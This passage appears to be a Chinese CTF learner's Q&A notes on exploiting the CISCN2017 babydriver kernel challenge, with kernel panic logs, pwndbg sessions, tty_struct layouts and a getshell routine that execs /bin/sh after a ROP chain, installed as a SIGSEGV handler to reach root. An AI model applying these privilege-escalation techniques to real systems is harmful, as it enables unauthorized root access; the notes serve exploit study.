ffff88001f9c11a0 ffff88001d968cc0 [ 4.062996] 52d9681d42a52b41 ffff88001fa67e40 ffffffff813437f1 ffff88001fa67e70 [ 4.064618] ffff88001fa67ec0 ffff88001fa67e60 ffffffff81210407 0000000000000000 [ 4.066259] Call Trace: [ 4.066787] [<ffffffff81382d61>] ? apparmor_inode_getattr+0x61/0x80 [ 4.068197] [<ffffffff813437f1>] security_inode_getattr+0x41/0x60 [ 4.069513] [<ffffffff81210407>] vfs_getattr+0x17/0x30 [ 4.070596] [<ffffffff812104f8>] vfs_fstatat+0x78/0xc0 [ 4.071716] [<ffffffff81210af4>] SYSC_newfstatat+0x24/0x60 [ 4.072808] [<ffffffff8106a717>] ? trace_do_page_fault+0x37/0xe0 [ 4.074023] [<ffffffff81210bee>] SyS_newfstatat+0xe/0x10 [ 4.075115] [<ffffffff81819c32>] entry_SYSCALL_64_fastpath+0x16/0x71 [ 4.076463] Code: 44 00 00 0f 1f 44 00 00 65 48 8b 04 25 00 be 00 00 48 8b 80 f8 05 00 00 48 8b 40 78 48 85 [ 4.081790] RIP [<ffffffff81382cd8>] common_perm+0x28/0x50 [ 4.083044] RSP <ffff88001fa67df8> [ 4.083788] ---[ end trace 1921a3008e474b93 ]--- [ 4.084785] Kernel panic - not syncing: Fatal exception [ 4.086676] Kernel Offset: disabled [ 4.087542] ---[ end Kernel panic - not syncing: Fatal exception
6. Q&A vmlinux除了编译,如何才能得到能查看结构体的vmlinux😶🌫️😶🌫️😶🌫️ 编译解万难
7. Q&A 常常出现断点打不上去的情况,原因未知 大概率是程序在断电之前就死掉了,换个断点或许就可以,真的是这样吗
8.Q&A 这样写有时候准确,有时不准确😶🌫️😶🌫️😶🌫️
1 rop_chain[i++] = (size_t )getshell;
getshell函数写到了头文件pwnlib.c
中,将这个写到程序的主逻辑中就不会有问题了 到底,在这之后即使换回头文件中的getshell函数也是可以getshell的😡,花了如此长的时间,现在问题找不到了 😁明白了,不做特殊处理正常跑,会出现段错误
1 2 3 4 / $ ./pwwn [=]have saved! [*]off is 0x0 Segmentation fault
这时候加上这一行
1 signal(SIGSEGV, getshell_);
此时就可以成功root了
1 2 3 4 5 / $ ./pwwn [=]have saved! [*]off is 0x0 [+]welcome ROOT !!! / #
使用signal函数将处理段错误的函数改为能够getshell的函数
详细见a3的评论区 貌似是栈对齐的问题,原来写代码的人也要关注栈对其的问题,希望编译器神不知鬼不觉地优化一下,但是使用execve函数也不行,行之有效的办法是使用signal函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void getshell_(int num){ if(getuid() != 0){ error("uid is not 0 !!!"); underline("Wating..."); sleep(5); exit(0); } if(geteuid() != 0){ error("euid is %d",(int)geteuid()); } success("welcome ROOT !!!"); //execve("/bin/sh",0,0); char *argv[] = {"/bin/sh", NULL}; // 参数数组,结尾为NULL char *envp[] = {NULL}; // 空环境变量数组,结尾为NULL execve("/bin/sh", argv, envp); exit(0); } / $ ./pwwn [=]have saved! [*]off is 0x0 Segmentation fault
9. Q 会在这一步死掉,gdb有问题为什么感觉,感觉是高版本qemu调试本来就有问题,我想重新编译一个qemu,看看实力,哈哈,先放下,在这里单步执行不行,需要下断点实现单步执行,有时候也不行
1 2 3 b+ 0xffffffff81063694 <native_swapgs+4> swapgs ► 0xffffffff81063697 <native_swapgs+7> pop rbp RBP => 0 0xffffffff81063698 <native_swapgs+8> ret
或者是这一步
1 ► 0xffffffff814e35ef <tty_audit_log+239> iretq
但是调试还是会出现问题 即使整个程序跑起来没有问题,但是gdb调试到这一步还是会报错,能跑通就行,我愿意相信这是gdb的带来的问题
1 2 3 4 5 6 7 8 9 10 11 pwndbg> b getshell Breakpoint 2 at 0x401f55: file /home/loo/pwnlib.c, line 26. pwndbg> b signal Breakpoint 3 at 0x40aa60 pwndbg> b system Breakpoint 4 at 0x40c4f0 pwndbg> b execve Breakpoint 5 at 0x44fc40 pwndbg> c Continuing.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 / $ ./pwwn [=]have saved! [*]off is 0x0 [ 16.590873] PANIC: double fault, error_code: 0x0 [ 16.594971] Kernel panic - not syncing: Machine halted. [ 16.596108] CPU: 0 PID: 91 Comm: pwwn Tainted: G OE 4.4.72 #1 [ 16.597394] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 [ 16.599185] 0000000000000086 fd9e4a6c4680cede ffff88001f204e80 ffffffff813d98e3 [ 16.600851] ffffffff81cc311c ffff88001f204f18 ffff88001f204f08 ffffffff8118ada7 [ 16.602662] 0000000000000008 ffff88001f204f18 ffff88001f204eb0 fd9e4a6c4680cede [ 16.604231] Call Trace: [ 16.604787] <#DF> [<ffffffff813d98e3>] dump_stack+0x63/0x90 [ 16.606110] [<ffffffff8118ada7>] panic+0xd3/0x215 [ 16.607173] [<ffffffff8105fd4d>] df_debug+0x2d/0x30 [ 16.608435] [<ffffffff81018b8c>] do_double_fault+0x7c/0xf0 [ 16.609664] [<ffffffff8181b7b8>] double_fault+0x28/0x30 [ 16.610958] [<ffffffff8181a797>] ? native_iret+0x7/0x7 [ 16.612073] [<ffffffff8181bdcd>] ? async_page_fault+0xd/0x30 [ 16.613278] <<EOE>> <UNK> [ 16.615438] Kernel Offset: disabled [ 16.616820] ---[ end Kernel panic - not syncing: Machine halted.
10. Q 多次执行会报错,还是会出现段错误,在逻辑上不符合常理,但是不影响
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 / $ ./pwwn [=]have saved! [*]off is 0x0 [+]welcome ROOT !!! / # ./pwwn [=]have saved! [*]off is 0x0 Segmentation fault / # exit [ 21.431349] BUG: unable to handle kernel paging request at 00000000004cb380 [ 21.434442] IP: [<ffffffff814d97b4>] tty_release+0xf4/0x580 [ 21.436347] PGD 0 [ 21.437115] Oops: 0000 [#1] SMP [ 21.438335] Modules linked in: babydriver(OE) [ 21.440010] CPU: 0 PID: 90 Comm: pwwn Tainted: G OE 4.4.72 #1 [ 21.441569] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 [ 21.443322] task: ffff88001c8a0cc0 ti: ffff88001cb3c000 task.ti: ffff88001cb3c000 [ 21.444817] RIP: 0010:[<ffffffff814d97b4>] [<ffffffff814d97b4>] tty_release+0xf4/0x580 [ 21.446487] RSP: 0018:ffff88001cb3fd90 EFLAGS: 00010202 [ 21.447606] RAX: 00000000004cb360 RBX: ffff88001cb3a400 RCX: 0000000000000000 [ 21.449116] RDX: 0000000000000000 RSI: ffff88001cb3a620 RDI: ffff88001caae530 [ 21.450601] RBP: ffff88001cb3fdf8 R08: 0000000000019e20 R09: ffffffff811b1fad [ 21.452129] R10: ffff88001c8942e8 R11: 000000000000019a R12: ffff88001caae500 [ 21.453589] R13: ffff88001c8942e8 R14: ffff88001caa81a0 R15: ffff88001cb3a800 [ 21.455106] FS: 0000000000000000(0000) GS:ffff88001f200000(0000) knlGS:0000000000000000 [ 21.456771] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 21.457968] CR2: 00000000004cb380 CR3: 0000000001e0a000 CR4: 00000000001006f0 [ 21.459455] Stack: [ 21.459885] ffff880000000008 ffff88001c8e6280 ffff88001caaea00 ffff88001ca8fc88 [ 21.461552] 0000000000000246 000000001d94ac00 ffff88001cb3fdf8 1e141f40ff6b3f08 [ 21.463147] ffff88001caae500 0000000000000008 ffff88001c8942e8 ffff88001caa81a0 [ 21.464774] Call Trace: [ 21.465323] [<ffffffff8120d2c4>] __fput+0xe4/0x220 [ 21.466362] [<ffffffff8120d43e>] ____fput+0xe/0x10 [ 21.467428] [<ffffffff8109dcf1>] task_work_run+0x81/0xa0 [ 21.468549] [<ffffffff81082db1>] do_exit+0x2e1/0xb00 [ 21.469586] [<ffffffff8108d2f1>] ? __set_task_blocked+0x41/0xa0 [ 21.470841] [<ffffffff81083653>] do_group_exit+0x43/0xb0 [ 21.472031] [<ffffffff810836d4>] SyS_exit_group+0x14/0x20 [ 21.473232] [<ffffffff81819c32>] entry_SYSCALL_64_fastpath+0x16/0x71 [ 21.474534] Code: 00 00 00 48 8b 8b 18 02 00 00 4c 8b 04 d0 4c 39 c1 0f 85 e3 03 00 00 48 8b 89 18 02 00 00 [ 21.480075] RIP [<ffffffff814d97b4>] tty_release+0xf4/0x580 [ 21.481316] RSP <ffff88001cb3fd90> [ 21.482075] CR2: 00000000004cb380 [ 21.482806] ---[ end trace ed74eca54f1113e7 ]--- [ 21.483781] Kernel panic - not syncing: Fatal exception [ 21.485674] Kernel Offset: disabled [ 21.486460] ---[ end Kernel panic - not syncing: Fatal exception
11. Q&A pahole -C tty_struct
也会输出一个结构体的信息,估计是输出的是当前kernel使用的这个结构体 一般指定文件pahole -C tty_struct ./vmlinux
(相比之下有点输出慢了点x)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver/try$ pahole -C tty_struct ./vmlinux_c struct tty_struct { int magic; /* 0 4 */ struct kref kref; /* 4 4 */ struct device * dev; /* 8 8 */ struct tty_driver * driver; /* 16 8 */ const struct tty_operations * ops; /* 24 8 */ int index; /* 32 4 */ /* XXX 4 bytes hole, try to pack */ struct ld_semaphore ldisc_sem; /* 40 48 */ /* --- cacheline 1 boundary (64 bytes) was 24 bytes ago --- */ struct tty_ldisc * ldisc; /* 88 8 */ struct mutex atomic_write_lock; /* 96 40 */ /* XXX last struct has 4 bytes of padding */ /* --- cacheline 2 boundary (128 bytes) was 8 bytes ago --- */ struct mutex legacy_mutex; /* 136 40 */ /* XXX last struct has 4 bytes of padding */ struct mutex throttle_mutex; /* 176 40 */ /* XXX last struct has 4 bytes of padding */ /* --- cacheline 3 boundary (192 bytes) was 24 bytes ago --- */ struct rw_semaphore termios_rwsem; /* 216 40 */ /* --- cacheline 4 boundary (256 bytes) --- */ struct mutex winsize_mutex; /* 256 40 */ /* XXX last struct has 4 bytes of padding */ spinlock_t ctrl_lock; /* 296 4 */ spinlock_t flow_lock; /* 300 4 */ struct ktermios termios; /* 304 44 */ /* --- cacheline 5 boundary (320 bytes) was 28 bytes ago --- */ struct ktermios termios_locked; /* 348 44 */ /* --- cacheline 6 boundary (384 bytes) was 8 bytes ago --- */ struct termiox * termiox; /* 392 8 */ char name[64]; /* 400 64 */ /* --- cacheline 7 boundary (448 bytes) was 16 bytes ago --- */ struct pid * pgrp; /* 464 8 */ struct pid * session; /* 472 8 */ long unsigned int flags; /* 480 8 */ int count; /* 488 4 */ struct winsize winsize; /* 492 8 */ /* Bitfield combined with next fields */ long unsigned int stopped:1; /* 496:32 8 */ long unsigned int flow_stopped:1; /* 496:33 8 */ /* XXX 30 bits hole, try to pack */ /* Force alignment to the next boundary: */ long unsigned int :0; long unsigned int unused:62; /* 504: 0 8 */ /* XXX 2 bits hole, try to pack */ /* --- cacheline 8 boundary (512 bytes) --- */ int hw_stopped; /* 512 4 */ /* Bitfield combined with previous fields */ long unsigned int ctrl_status:8; /* 512:32 8 */ long unsigned int packet:1; /* 512:40 8 */ /* XXX 23 bits hole, try to pack */ /* Force alignment to the next boundary: */ long unsigned int :0; long unsigned int unused_ctrl:55; /* 520: 0 8 */ /* XXX 9 bits hole, try to pack */ unsigned int receive_room; /* 528 4 */ int flow_change; /* 532 4 */ struct tty_struct * link; /* 536 8 */ struct fasync_struct * fasync; /* 544 8 */ int alt_speed; /* 552 4 */ /* XXX 4 bytes hole, try to pack */ wait_queue_head_t write_wait; /* 560 24 */ /* --- cacheline 9 boundary (576 bytes) was 8 bytes ago --- */ wait_queue_head_t read_wait; /* 584 24 */ struct work_struct hangup_work; /* 608 32 */ /* --- cacheline 10 boundary (640 bytes) --- */ void * disc_data; /* 640 8 */ void * driver_data; /* 648 8 */ struct list_head tty_files; /* 656 16 */ int closing; /* 672 4 */ /* XXX 4 bytes hole, try to pack */ unsigned char * write_buf; /* 680 8 */ int write_cnt; /* 688 4 */ /* XXX 4 bytes hole, try to pack */ struct work_struct SAK_work; /* 696 32 */ /* --- cacheline 11 boundary (704 bytes) was 24 bytes ago --- */ struct tty_port * port; /* 728 8 */ /* size: 736, cachelines: 12, members: 47 */ /* sum members: 696, holes: 4, sum holes: 16 */ /* sum bitfield members: 128 bits, bit holes: 4, sum bit holes: 64 bits */ /* paddings: 4, sum paddings: 16 */ /* last cacheline: 32 bytes */ }; loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver/try$ pahole -C tty_struct struct tty_struct { int magic; /* 0 4 */ struct kref kref; /* 4 4 */ struct device * dev; /* 8 8 */ struct tty_driver * driver; /* 16 8 */ const struct tty_operations * ops; /* 24 8 */ int index; /* 32 4 */ /* XXX 4 bytes hole, try to pack */ struct ld_semaphore ldisc_sem; /* 40 48 */ /* --- cacheline 1 boundary (64 bytes) was 24 bytes ago --- */ struct tty_ldisc * ldisc; /* 88 8 */ struct mutex atomic_write_lock; /* 96 32 */ /* --- cacheline 2 boundary (128 bytes) --- */ struct mutex legacy_mutex; /* 128 32 */ struct mutex throttle_mutex; /* 160 32 */ /* --- cacheline 3 boundary (192 bytes) --- */ struct rw_semaphore termios_rwsem; /* 192 40 */ struct mutex winsize_mutex; /* 232 32 */ /* --- cacheline 4 boundary (256 bytes) was 8 bytes ago --- */ struct ktermios termios; /* 264 44 */ struct ktermios termios_locked; /* 308 44 */ /* --- cacheline 5 boundary (320 bytes) was 32 bytes ago --- */ char name[64]; /* 352 64 */ /* --- cacheline 6 boundary (384 bytes) was 32 bytes ago --- */ long unsigned int flags; /* 416 8 */ int count; /* 424 4 */ struct winsize winsize; /* 428 8 */ /* XXX 4 bytes hole, try to pack */ struct { spinlock_t lock; /* 440 4 */ bool stopped; /* 444 1 */ bool tco_stopped; /* 445 1 */ /* XXX 2 bytes hole, try to pack */ /* --- cacheline 7 boundary (448 bytes) --- */ long unsigned int unused[]; /* 448 0 */ } flow; /* 440 8 */ struct { spinlock_t lock; /* 448 4 */ /* XXX 4 bytes hole, try to pack */ struct pid * pgrp; /* 456 8 */ struct pid * session; /* 464 8 */ unsigned char pktstatus; /* 472 1 */ bool packet; /* 473 1 */ /* XXX 6 bytes hole, try to pack */ long unsigned int unused[]; /* 480 0 */ } ctrl; /* 448 32 */ int hw_stopped; /* 480 4 */ unsigned int receive_room; /* 484 4 */ int flow_change; /* 488 4 */ /* XXX 4 bytes hole, try to pack */ struct tty_struct * link; /* 496 8 */ struct fasync_struct * fasync; /* 504 8 */ /* --- cacheline 8 boundary (512 bytes) --- */ wait_queue_head_t write_wait; /* 512 24 */ wait_queue_head_t read_wait; /* 536 24 */ struct work_struct hangup_work; /* 560 32 */ /* --- cacheline 9 boundary (576 bytes) was 16 bytes ago --- */ void * disc_data; /* 592 8 */ void * driver_data; /* 600 8 */ spinlock_t files_lock; /* 608 4 */ /* XXX 4 bytes hole, try to pack */ struct list_head tty_files; /* 616 16 */ int closing; /* 632 4 */ /* XXX 4 bytes hole, try to pack */ /* --- cacheline 10 boundary (640 bytes) --- */ unsigned char * write_buf; /* 640 8 */ int write_cnt; /* 648 4 */ /* XXX 4 bytes hole, try to pack */ struct work_struct SAK_work; /* 656 32 */ struct tty_port * port; /* 688 8 */ /* size: 696, cachelines: 11, members: 38 */ /* sum members: 672, holes: 6, sum holes: 24 */ /* last cacheline: 56 bytes */ };
### 12. Q&A
应该是这样,但总是出现uaf失败的情况,貌似是程序逻辑问题 没错确实是逻辑问题,与程序无关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> tele 0xffff88001cafe400 00 :0000 │ rsi 0xffff88001cafe400 ◂— 0x100005401 01 :0008 │ 0xffff88001cafe408 ◂— 0 02 :0010 │ 0xffff88001cafe410 —▸ 0xffff88001c8e9a80 ◂— 0x200005402 03 :0018 │ 0xffff88001cafe418 —▸ 0xffffffff81a74f80 (ptm_unix98_ops) —▸ 0xffffffff814e2640 (ptm_unix98_lookup) ◂— nop dword ptr [rax + rax]04 :0020 │ 0xffff88001cafe420 ◂— 0 ... ↓ 2 skipped 07 :0038 │ 0xffff88001cafe438 ◂— 0xffff88001cafe438 pwndbg> 08 :0040 │ 0xffff88001cafe440 —▸ 0xffff88001cafe438 ◂— 0xffff88001cafe438 09 :0048 │ 0xffff88001cafe448 ◂— 0xffff88001cafe448 0 a:0050 │ 0xffff88001cafe450 —▸ 0xffff88001cafe448 ◂— 0xffff88001cafe448 0b :0058 │ 0xffff88001cafe458 —▸ 0xffff88001c8539f0 —▸ 0xffffffff81eb8f80 (tty_ldisc_N_TTY) ◂— 0x5403 0 c:0060 │ 0xffff88001cafe460 ◂— 1 0 d:0068 │ 0xffff88001cafe468 ◂— 0xffff88001cafe468 0 e:0070 │ 0xffff88001cafe470 —▸ 0xffff88001cafe468 ◂— 0xffff88001cafe468 0f :0078 │ 0xffff88001cafe478 ◂— 0
op
groups loo
pahole -C cred ./vmlinux
参考